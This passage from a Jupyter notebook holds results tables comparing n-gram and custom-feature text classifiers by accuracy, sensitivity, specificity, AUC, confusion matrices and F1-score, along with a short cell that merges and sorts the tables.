       "custom RandomForest         0.996874    0.978139    0.998707  0.998571   \n",
       "count 2grams MultinomialNB   0.99411    0.978139    0.995673  0.989279   \n",
       "tfidf 3grams Logistic       0.997735    0.977631    0.999702  0.999575   \n",
       "tfidf 3grams MultinomialNB  0.996058    0.976614    0.997961  0.999112   \n",
       "tfidf 3grams RandomForest   0.997553    0.975089    0.999751  0.999082   \n",
       "count 3grams RandomForest   0.997191    0.972039    0.999652   0.99907   \n",
       "count 3grams Logistic       0.997146    0.970513    0.999751    0.9981   \n",
       "count 3grams SVM            0.996693    0.968988    0.999403  0.997568   \n",
       "tfidf 2grams MultinomialNB  0.995651    0.968988    0.998259   0.99798   \n",
       "tfidf 2grams SVM            0.996693    0.967463    0.999552   0.99909   \n",
       "tfidf 1grams Logistic       0.996104    0.967463    0.998906  0.998022   \n",
       "count 1grams Logistic       0.996375    0.963396    0.999602  0.996902   \n",
       "count 1grams MultinomialNB  0.990939    0.962379    0.993733  0.976337   \n",
       "custom MLPClassifier        0.992796    0.954753    0.996518  0.997632   \n",
       "tfidf 1grams SVM            0.994246    0.949161    0.998657  0.996409   \n",
       "tfidf 3grams SVM            0.994971    0.947128    0.999652  0.998131   \n",
       "custom AdaBoostClassifier    0.98967    0.930351    0.995474  0.997814   \n",
       "tfidf 1grams MultinomialNB  0.991075      0.9273    0.997314   0.99267   \n",
       "custom MultinomialNB        0.924339    0.916116    0.925143  0.971266   \n",
       "custom DecisionTree           0.9889     0.89578     0.99801  0.990906   \n",
       "custom SGD                  0.981606    0.877478    0.991793  0.984595   \n",
       "custom Logistic              0.98446    0.862227    0.996419  0.990221   \n",
       "\n",
       "                                             conf_matrix  \\\n",
       "tfidf 1grams RandomForest      [[20082, 23], [14, 1953]]   \n",
       "count 1grams RandomForest      [[20090, 15], [20, 1947]]   \n",
       "tfidf 2grams RandomForest       [[20097, 8], [23, 1944]]   \n",
       "count 2grams RandomForest      [[20093, 12], [23, 1944]]   \n",
       "tfidf 2grams Logistic          [[20093, 12], [29, 1938]]   \n",
       "custom SVM                    [[20004, 101], [29, 1938]]   \n",
       "count 3grams MultinomialNB    [[19999, 106], [36, 1931]]   \n",
       "count 1grams SVM               [[20085, 20], [39, 1928]]   \n",
       "count 2grams Logistic           [[20098, 7], [40, 1927]]   \n",
       "count 2grams SVM                [[20096, 9], [41, 1926]]   \n",
       "custom RandomForest            [[20079, 26], [43, 1924]]   \n",
       "count 2grams MultinomialNB     [[20018, 87], [43, 1924]]   \n",
       "tfidf 3grams Logistic           [[20099, 6], [44, 1923]]   \n",
       "tfidf 3grams MultinomialNB     [[20064, 41], [46, 1921]]   \n",
       "tfidf 3grams RandomForest       [[20100, 5], [49, 1918]]   \n",
       "count 3grams RandomForest       [[20098, 7], [55, 1912]]   \n",
       "count 3grams Logistic           [[20100, 5], [58, 1909]]   \n",
       "count 3grams SVM               [[20093, 12], [61, 1906]]   \n",
       "tfidf 2grams MultinomialNB     [[20070, 35], [61, 1906]]   \n",
       "tfidf 2grams SVM                [[20096, 9], [64, 1903]]   \n",
       "tfidf 1grams Logistic          [[20083, 22], [64, 1903]]   \n",
       "count 1grams Logistic           [[20097, 8], [72, 1895]]   \n",
       "count 1grams MultinomialNB    [[19979, 126], [74, 1893]]   \n",
       "custom MLPClassifier           [[20035, 70], [89, 1878]]   \n",
       "tfidf 1grams SVM              [[20078, 27], [100, 1867]]   \n",
       "tfidf 3grams SVM               [[20098, 7], [104, 1863]]   \n",
       "custom AdaBoostClassifier     [[20014, 91], [137, 1830]]   \n",
       "tfidf 1grams MultinomialNB    [[20051, 54], [143, 1824]]   \n",
       "custom MultinomialNB        [[18600, 1505], [165, 1802]]   \n",
       "custom DecisionTree           [[20065, 40], [205, 1762]]   \n",
       "custom SGD                   [[19940, 165], [241, 1726]]   \n",
       "custom Logistic               [[20033, 72], [271, 1696]]   \n",
       "\n",
       "                                                                       params  \\\n",
       "tfidf 1grams RandomForest       {'clf__n_estimators': 60, 'vect__min_df': 40}   \n",
       "count 1grams RandomForest        {'clf__n_estimators': 60, 'vect__min_df': 1}   \n",
       "tfidf 2grams RandomForest        {'clf__n_estimators': 60, 'vect__min_df': 5}   \n",
       "count 2grams RandomForest        {'clf__n_estimators': 60, 'vect__min_df': 1}   \n",
       "tfidf 2grams Logistic                     {'clf__C': 1000, 'vect__min_df': 1}   \n",
       "custom SVM                       {'C': 100, 'kernel': 'rbf', 'gamma': 'auto'}   \n",
       "count 3grams MultinomialNB                                {'vect__min_df': 1}   \n",
       "count 1grams SVM            {'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...   \n",
       "count 2grams Logistic                      {'clf__C': 10, 'vect__min_df': 20}   \n",
       "count 2grams SVM            {'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...   \n",
       "custom RandomForest                                      {'n_estimators': 40}   \n",
       "count 2grams MultinomialNB                                {'vect__min_df': 1}   \n",
       "tfidf 3grams Logistic                     {'clf__C': 1000, 'vect__min_df': 1}   \n",
       "tfidf 3grams MultinomialNB                                {'vect__min_df': 2}   \n",
       "tfidf 3grams RandomForest        {'clf__n_estimators': 60, 'vect__min_df': 5}   \n",
       "count 3grams RandomForest        {'clf__n_estimators': 60, 'vect__min_df': 5}   \n",
       "count 3grams Logistic                       {'clf__C': 10, 'vect__min_df': 2}   \n",
       "count 3grams SVM            {'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...   \n",
       "tfidf 2grams MultinomialNB                                {'vect__min_df': 2}   \n",
       "tfidf 2grams SVM            {'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...   \n",
       "tfidf 1grams Logistic                     {'clf__C': 1000, 'vect__min_df': 1}   \n",
       "count 1grams Logistic                      {'clf__C': 10, 'vect__min_df': 40}   \n",
       "count 1grams MultinomialNB                               {'vect__min_df': 20}   \n",
       "custom MLPClassifier        {'hidden_layer_sizes': (300, 200, 150, 150), '...   \n",
       "tfidf 1grams SVM            {'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...   \n",
       "tfidf 3grams SVM            {'clf__kernel': 'rbf', 'clf__gamma': 0.001, 'c...   \n",
       "custom AdaBoostClassifier         {'n_estimators': 100, 'learning_rate': 1.0}   \n",
       "tfidf 1grams MultinomialNB                                {'vect__min_df': 1}   \n",
       "custom MultinomialNB                                           {'alpha': 1.0}   \n",
       "custom DecisionTree                                  {'min_samples_split': 2}   \n",
       "custom SGD                                       {'learning_rate': 'optimal'}   \n",
       "custom Logistic                                                    {'C': 100}   \n",
       "\n",
       "                                                                        model  \\\n",
       "tfidf 1grams RandomForest   Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "count 1grams RandomForest   Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "tfidf 2grams RandomForest   Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "count 2grams RandomForest   Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "tfidf 2grams Logistic       Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "custom SVM                  SVC(C=100, cache_size=200, class_weight=None, ...   \n",
       "count 3grams MultinomialNB  Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "count 1grams SVM            Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "count 2grams Logistic       Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "count 2grams SVM            Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "custom RandomForest         (DecisionTreeClassifier(class_weight=None, cri...   \n",
       "count 2grams MultinomialNB  Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "tfidf 3grams Logistic       Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "tfidf 3grams MultinomialNB  Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "tfidf 3grams RandomForest   Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "count 3grams RandomForest   Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "count 3grams Logistic       Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "count 3grams SVM            Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "tfidf 2grams MultinomialNB  Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "tfidf 2grams SVM            Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "tfidf 1grams Logistic       Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "count 1grams Logistic       Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "count 1grams MultinomialNB  Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "custom MLPClassifier        MLPClassifier(activation='relu', alpha=0.01, b...   \n",
       "tfidf 1grams SVM            Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "tfidf 3grams SVM            Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "custom AdaBoostClassifier   (DecisionTreeClassifier(class_weight=None, cri...   \n",
       "tfidf 1grams MultinomialNB  Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "custom MultinomialNB        MultinomialNB(alpha=1.0, class_prior=None, fit...   \n",
       "custom DecisionTree         DecisionTreeClassifier(class_weight=None, crit...   \n",
       "custom SGD                  SGDClassifier(alpha=0.0001, average=False, cla...   \n",
       "custom Logistic             LogisticRegression(C=100, class_weight=None, d...   \n",
       "\n",
       "                                                                          roc  \n",
       "tfidf 1grams RandomForest   {'tpr': [0.76105744789, 0.861209964413, 0.8998...  \n",
       "count 1grams RandomForest   {'tpr': [0.734112862227, 0.840874428063, 0.887...  \n",
       "tfidf 2grams RandomForest   {'tpr': [0.687341128622, 0.687849517031, 0.795...  \n",
       "count 2grams RandomForest   {'tpr': [0.683274021352, 0.683782409761, 0.801...  \n",
       "tfidf 2grams Logistic       {'tpr': [0.0279613624809, 0.0391459074733, 0.0...  \n",
       "custom SVM                  {'tpr': [0.000508388408744, 0.00711743772242, ...  \n",
       "count 3grams MultinomialNB  {'tpr': [0.0, 0.881545500763, 0.883579054398, ...  \n",
       "count 1grams SVM            {'tpr': [0.0, 0.821555668531, 0.833248601932, ...  \n",
       "count 2grams Logistic       {'tpr': [0.397559735638, 0.411286222674, 0.415...  \n",
       "count 2grams SVM            {'tpr': [0.0, 0.824097610574, 0.836298932384, ...  \n",
       "custom RandomForest         {'tpr': [0.739705134723, 0.828164717844, 0.865...  \n",
       "count 2grams MultinomialNB  {'tpr': [0.0, 0.868835790544, 0.869344178953, ...  \n",
       "tfidf 3grams Logistic       {'tpr': [0.000508388408744, 0.00152516522623, ...  \n",
       "tfidf 3grams MultinomialNB  {'tpr': [0.000508388408744, 0.00203355363498, ...  \n",
       "tfidf 3grams RandomForest   {'tpr': [0.693441789527, 0.694966954753, 0.782...  \n",
       "count 3grams RandomForest   {'tpr': [0.689374682257, 0.690391459075, 0.786...  \n",
       "count 3grams Logistic       {'tpr': [0.162175902389, 0.173360447382, 0.179...  \n",
       "count 3grams SVM            {'tpr': [0.0, 0.722419928826, 0.724961870869, ...  \n",
       "tfidf 2grams MultinomialNB  {'tpr': [0.000508388408744, 0.00711743772242, ...  \n",
       "tfidf 2grams SVM            {'tpr': [0.57905439756, 0.584646670056, 0.5856...  \n",
       "tfidf 1grams Logistic       {'tpr': [0.654804270463, 0.667513980681, 0.671...  \n",
       "count 1grams Logistic       {'tpr': [0.0, 0.644128113879, 0.659379766141, ...  \n",
       "count 1grams MultinomialNB  {'tpr': [0.0, 0.788002033554, 0.788510421962, ...  \n",
       "custom MLPClassifier        {'tpr': [0.00559227249619, 0.00711743772242, 0...  \n",
       "tfidf 1grams SVM            {'tpr': [0.436197254703, 0.472801220132, 0.473...  \n",
       "tfidf 3grams SVM            {'tpr': [0.630910015252, 0.631926792069, 0.634...  \n",
       "custom AdaBoostClassifier   {'tpr': [0.000508388408744, 0.00254194204372, ...  \n",
       "tfidf 1grams MultinomialNB  {'tpr': [0.000508388408744, 0.0345704117946, 0...  \n",
       "custom MultinomialNB        {'tpr': [0.0, 0.828673106253, 0.829689883071, ...  \n",
       "custom DecisionTree         {'tpr': [0.0, 0.0818505338078, 0.76105744789, ...  \n",
       "custom SGD                  {'tpr': [0.0, 0.858668022369, 0.859176410778, ...  \n",
       "custom Logistic             {'tpr': [0.0111845449924, 0.0116929334011, 0.0...  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "#Combine the two tables into one table\n",
    "classifier_results = classifier_results.append(custom_features_classifiers)\n",
    "classifier_results = classifier_results.sort_values(['sensitivity','accuracy'], ascending=[False,False])\n",
    "display(classifier_results)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### F1-score\n",
    "Calculate F1-score of each classifier and add to classifiers table\n",
    "\n",
    "(We didn't implement this in the train_model function as with the other performance metrics because we've already done a 82 hour training session before this and didn't want to re-run the entire training just to add F1-score from inside train_model)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 31,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>F1-score</th>\n",
       "      <th>accuracy</th>\n",
       "      <th>sensitivity</th>\n",
       "      <th>specificity</th>\n",
       "      <th>auc</th>\n",
       "      <th>conf_matrix</th>\n",
       "      <th>params</th>\n",
       "      <th>model</th>\n",
       "      <th>roc</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>tfidf 2grams RandomForest</th>\n",
       "      <td>0.999229</td>\n",
       "      <td>0.998596</td>\n",
       "      <td>0.988307</td>\n",
       "      <td>0.999602</td>\n",
       "      <td>0.999375</td>\n",
       "      <td>[[20097, 8], [23, 1944]]</td>\n",
       "      <td>{'vect__min_df': 5, 'clf__n_estimators': 60}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 2grams RandomForest</th>\n",
       "      <td>0.999130</td>\n",
       "      <td>0.998414</td>\n",
       "      <td>0.988307</td>\n",
       "      <td>0.999403</td>\n",
       "      <td>0.99912</td>\n",
       "      <td>[[20093, 12], [23, 1944]]</td>\n",
       "      <td>{'vect__min_df': 1, 'clf__n_estimators': 60}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 1grams RandomForest</th>\n",
       "      <td>0.999130</td>\n",
       "      <td>0.998414</td>\n",
       "      <td>0.989832</td>\n",
       "      <td>0.999254</td>\n",
       "      <td>0.999426</td>\n",
       "      <td>[[20090, 15], [20, 1947]]</td>\n",
       "      <td>{'vect__min_df': 1, 'clf__n_estimators': 60}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 1grams RandomForest</th>\n",
       "      <td>0.999080</td>\n",
       "      <td>0.998324</td>\n",
       "      <td>0.992883</td>\n",
       "      <td>0.998856</td>\n",
       "      <td>0.999167</td>\n",
       "      <td>[[20082, 23], [14, 1953]]</td>\n",
       "      <td>{'vect__min_df': 40, 'clf__n_estimators': 60}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 4.97388...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 2grams Logistic</th>\n",
       "      <td>0.998981</td>\n",
       "      <td>0.998142</td>\n",
       "      <td>0.985257</td>\n",
       "      <td>0.999403</td>\n",
       "      <td>0.999489</td>\n",
       "      <td>[[20093, 12], [29, 1938]]</td>\n",
       "      <td>{'vect__min_df': 1, 'clf__C': 1000}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 2grams Logistic</th>\n",
       "      <td>0.998832</td>\n",
       "      <td>0.997871</td>\n",
       "      <td>0.979664</td>\n",
       "      <td>0.999652</td>\n",
       "      <td>0.998061</td>\n",
       "      <td>[[20098, 7], [40, 1927]]</td>\n",
       "      <td>{'vect__min_df': 20, 'clf__C': 10}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 3grams Logistic</th>\n",
       "      <td>0.998758</td>\n",
       "      <td>0.997735</td>\n",
       "      <td>0.977631</td>\n",
       "      <td>0.999702</td>\n",
       "      <td>0.999575</td>\n",
       "      <td>[[20099, 6], [44, 1923]]</td>\n",
       "      <td>{'vect__min_df': 1, 'clf__C': 1000}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 2grams SVM</th>\n",
       "      <td>0.998758</td>\n",
       "      <td>0.997735</td>\n",
       "      <td>0.979156</td>\n",
       "      <td>0.999552</td>\n",
       "      <td>0.99862</td>\n",
       "      <td>[[20096, 9], [41, 1926]]</td>\n",
       "      <td>{'vect__min_df': 5, 'clf__gamma': 0.001, 'clf_...</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 9.94777418553e-05, 9.94777418553...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 3grams RandomForest</th>\n",
       "      <td>0.998659</td>\n",
       "      <td>0.997553</td>\n",
       "      <td>0.975089</td>\n",
       "      <td>0.999751</td>\n",
       "      <td>0.999082</td>\n",
       "      <td>[[20100, 5], [49, 1918]]</td>\n",
       "      <td>{'vect__min_df': 5, 'clf__n_estimators': 60}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 4.9738870927...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 1grams SVM</th>\n",
       "      <td>0.998533</td>\n",
       "      <td>0.997327</td>\n",
       "      <td>0.980173</td>\n",
       "      <td>0.999005</td>\n",
       "      <td>0.997913</td>\n",
       "      <td>[[20085, 20], [39, 1928]]</td>\n",
       "      <td>{'vect__min_df': 5, 'clf__gamma': 0.001, 'clf_...</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 4.97388709276e-05, 4.97388709276...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 3grams RandomForest</th>\n",
       "      <td>0.998460</td>\n",
       "      <td>0.997191</td>\n",
       "      <td>0.972039</td>\n",
       "      <td>0.999652</td>\n",
       "      <td>0.99907</td>\n",
       "      <td>[[20098, 7], [55, 1912]]</td>\n",
       "      <td>{'vect__min_df': 5, 'clf__n_estimators': 60}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 3grams Logistic</th>\n",
       "      <td>0.998435</td>\n",
       "      <td>0.997146</td>\n",
       "      <td>0.970513</td>\n",
       "      <td>0.999751</td>\n",
       "      <td>0.9981</td>\n",
       "      <td>[[20100, 5], [58, 1909]]</td>\n",
       "      <td>{'vect__min_df': 2, 'clf__C': 10}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom RandomForest</th>\n",
       "      <td>0.998285</td>\n",
       "      <td>0.996874</td>\n",
       "      <td>0.978139</td>\n",
       "      <td>0.998707</td>\n",
       "      <td>0.998571</td>\n",
       "      <td>[[20079, 26], [43, 1924]]</td>\n",
       "      <td>{'n_estimators': 40}</td>\n",
       "      <td>(DecisionTreeClassifier(class_weight=None, cri...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 9.94777418553e-05, 9.947774...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 2grams SVM</th>\n",
       "      <td>0.998187</td>\n",
       "      <td>0.996693</td>\n",
       "      <td>0.967463</td>\n",
       "      <td>0.999552</td>\n",
       "      <td>0.99909</td>\n",
       "      <td>[[20096, 9], [64, 1903]]</td>\n",
       "      <td>{'vect__min_df': 5, 'clf__gamma': 0.001, 'clf_...</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 3grams SVM</th>\n",
       "      <td>0.998187</td>\n",
       "      <td>0.996693</td>\n",
       "      <td>0.968988</td>\n",
       "      <td>0.999403</td>\n",
       "      <td>0.997568</td>\n",
       "      <td>[[20093, 12], [61, 1906]]</td>\n",
       "      <td>{'vect__min_df': 5, 'clf__gamma': 0.001, 'clf_...</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 4.97388709276e-05, 4.97388709276...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 1grams Logistic</th>\n",
       "      <td>0.998014</td>\n",
       "      <td>0.996375</td>\n",
       "      <td>0.963396</td>\n",
       "      <td>0.999602</td>\n",
       "      <td>0.996902</td>\n",
       "      <td>[[20097, 8], [72, 1895]]</td>\n",
       "      <td>{'vect__min_df': 40, 'clf__C': 10}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 4.97388709276e-05, 4.97388709276...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 1grams Logistic</th>\n",
       "      <td>0.997863</td>\n",
       "      <td>0.996104</td>\n",
       "      <td>0.967463</td>\n",
       "      <td>0.998906</td>\n",
       "      <td>0.998022</td>\n",
       "      <td>[[20083, 22], [64, 1903]]</td>\n",
       "      <td>{'vect__min_df': 1, 'clf__C': 1000}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 3grams MultinomialNB</th>\n",
       "      <td>0.997837</td>\n",
       "      <td>0.996058</td>\n",
       "      <td>0.976614</td>\n",
       "      <td>0.997961</td>\n",
       "      <td>0.999112</td>\n",
       "      <td>[[20064, 41], [46, 1921]]</td>\n",
       "      <td>{'vect__min_df': 2}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 2grams MultinomialNB</th>\n",
       "      <td>0.997614</td>\n",
       "      <td>0.995651</td>\n",
       "      <td>0.968988</td>\n",
       "      <td>0.998259</td>\n",
       "      <td>0.99798</td>\n",
       "      <td>[[20070, 35], [61, 1906]]</td>\n",
       "      <td>{'vect__min_df': 2}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 3grams SVM</th>\n",
       "      <td>0.997246</td>\n",
       "      <td>0.994971</td>\n",
       "      <td>0.947128</td>\n",
       "      <td>0.999652</td>\n",
       "      <td>0.998131</td>\n",
       "      <td>[[20098, 7], [104, 1863]]</td>\n",
       "      <td>{'vect__min_df': 5, 'clf__gamma': 0.001, 'clf_...</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 1grams SVM</th>\n",
       "      <td>0.996847</td>\n",
       "      <td>0.994246</td>\n",
       "      <td>0.949161</td>\n",
       "      <td>0.998657</td>\n",
       "      <td>0.996409</td>\n",
       "      <td>[[20078, 27], [100, 1867]]</td>\n",
       "      <td>{'vect__min_df': 5, 'clf__gamma': 0.001, 'clf_...</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 2grams MultinomialNB</th>\n",
       "      <td>0.996763</td>\n",
       "      <td>0.99411</td>\n",
       "      <td>0.978139</td>\n",
       "      <td>0.995673</td>\n",
       "      <td>0.989279</td>\n",
       "      <td>[[20018, 87], [43, 1924]]</td>\n",
       "      <td>{'vect__min_df': 1}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 0.000149216612783, 0.00014921661...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom SVM</th>\n",
       "      <td>0.996761</td>\n",
       "      <td>0.99411</td>\n",
       "      <td>0.985257</td>\n",
       "      <td>0.994976</td>\n",
       "      <td>0.997742</td>\n",
       "      <td>[[20004, 101], [29, 1938]]</td>\n",
       "      <td>{'kernel': 'rbf', 'C': 100, 'gamma': 'auto'}</td>\n",
       "      <td>SVC(C=100, cache_size=200, class_weight=None, ...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 4.97388...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 3grams MultinomialNB</th>\n",
       "      <td>0.996462</td>\n",
       "      <td>0.993567</td>\n",
       "      <td>0.981698</td>\n",
       "      <td>0.994728</td>\n",
       "      <td>0.997707</td>\n",
       "      <td>[[19999, 106], [36, 1931]]</td>\n",
       "      <td>{'vect__min_df': 1}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 4.97388709276e-05, 4.97388709276...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom MLPClassifier</th>\n",
       "      <td>0.996048</td>\n",
       "      <td>0.992796</td>\n",
       "      <td>0.954753</td>\n",
       "      <td>0.996518</td>\n",
       "      <td>0.997632</td>\n",
       "      <td>[[20035, 70], [89, 1878]]</td>\n",
       "      <td>{'hidden_layer_sizes': (300, 200, 150, 150), '...</td>\n",
       "      <td>MLPClassifier(activation='relu', alpha=0.01, b...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 4....</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>tfidf 1grams MultinomialNB</th>\n",
       "      <td>0.995112</td>\n",
       "      <td>0.991075</td>\n",
       "      <td>0.9273</td>\n",
       "      <td>0.997314</td>\n",
       "      <td>0.99267</td>\n",
       "      <td>[[20051, 54], [143, 1824]]</td>\n",
       "      <td>{'vect__min_df': 1}</td>\n",
       "      <td>Pipeline(steps=[('vect', TfidfVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>count 1grams MultinomialNB</th>\n",
       "      <td>0.995020</td>\n",
       "      <td>0.990939</td>\n",
       "      <td>0.962379</td>\n",
       "      <td>0.993733</td>\n",
       "      <td>0.976337</td>\n",
       "      <td>[[19979, 126], [74, 1893]]</td>\n",
       "      <td>{'vect__min_df': 20}</td>\n",
       "      <td>Pipeline(steps=[('vect', CountVectorizer(analy...</td>\n",
       "      <td>{'fpr': [0.0, 0.000149216612783, 0.00014921661...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom AdaBoostClassifier</th>\n",
       "      <td>0.994336</td>\n",
       "      <td>0.98967</td>\n",
       "      <td>0.930351</td>\n",
       "      <td>0.995474</td>\n",
       "      <td>0.997814</td>\n",
       "      <td>[[20014, 91], [137, 1830]]</td>\n",
       "      <td>{'learning_rate': 1.0, 'n_estimators': 100}</td>\n",
       "      <td>(DecisionTreeClassifier(class_weight=None, cri...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom DecisionTree</th>\n",
       "      <td>0.993932</td>\n",
       "      <td>0.9889</td>\n",
       "      <td>0.89578</td>\n",
       "      <td>0.99801</td>\n",
       "      <td>0.990906</td>\n",
